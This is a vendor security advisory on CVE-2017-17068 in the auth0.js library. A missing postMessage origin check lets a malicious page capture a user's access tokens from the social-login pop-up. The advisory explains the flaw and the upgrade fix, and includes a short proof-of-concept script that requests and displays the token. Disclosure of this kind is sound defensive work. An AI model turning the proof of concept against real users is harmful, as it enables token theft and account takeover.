AppCheck discovered a security flaw within the auth0.js JavaScript library that could be exploited by a malicious website to read sensitive access tokens cross-domain.
Auth0 provides authentication solutions for a variety of platforms including the ability to integrate social media authentication into an application.
“We solve the most complex identity use cases with an extensible and easy to integrate platform that secures billions of logins every month” – https://auth0.com/
AppCheck identified a security flaw within the Social Media authentication flow employed by the auth0.js client library. In brief, the following authentication flow is followed when authenticating via Facebook or Google using auth0.js :
A vulnerability occurs since the origin and target of postMessage events between the pop-up window and the requesting page are not validated. i.e. Message event handlers will process messages from, and reply to, any website that submits the event. It is therefore possible for a malicious web page to open a pop-up for an authenticated user and intercept the sensitive access token. The attacker could use the token to then carry out actions on behalf of the user or read sensitive user information.
AppCheck was able to detect this security flaw without any specific updates, reporting the vulnerability as “HTML5 postMessage information disclosure”. However, a specific plugin has been added to properly categorise the vulnerability to aid in remediation:
Developers using the auth0.js library need to upgrade to the latest version: 8.12
.
Further details can be found on the vendors official website:
https://auth0.com/docs/security/bulletins/cve-2017-17068
The following Proof of Concept JavaScript can be used to demonstrate the vulnerability. The auth_url variable should be populated with the pop-up URL used in the target authentication flow
<script> function request_token(event){ // when message is recieved send request back a request for the access_token data = JSON.parse(event.data) if (data.a ==”ready”){ window.poc.postMessage(‘{“a”:”request”}’, ‘*’); }else{ alert(JSON.stringify(data)); } } function popup(){ var auth_url = “https://<target URL>/authorize?client_id=<client_id>&response_type=token&connection=facebook….” window.poc = window.open(auth_url); } window.addEventListener(“message”, request_token) </script>
No software to download or install.
Contact us or call us 0113 887 8380
AppCheck is a software security vendor based in the UK, offering a leading security scanning platform that automates the discovery of security flaws within organisations websites, applications, network and cloud infrastructure. AppCheck are authorized by te Common Vulnerabilities and Exposures (CVE) Program aas a CVE Numbering Authority (CNA)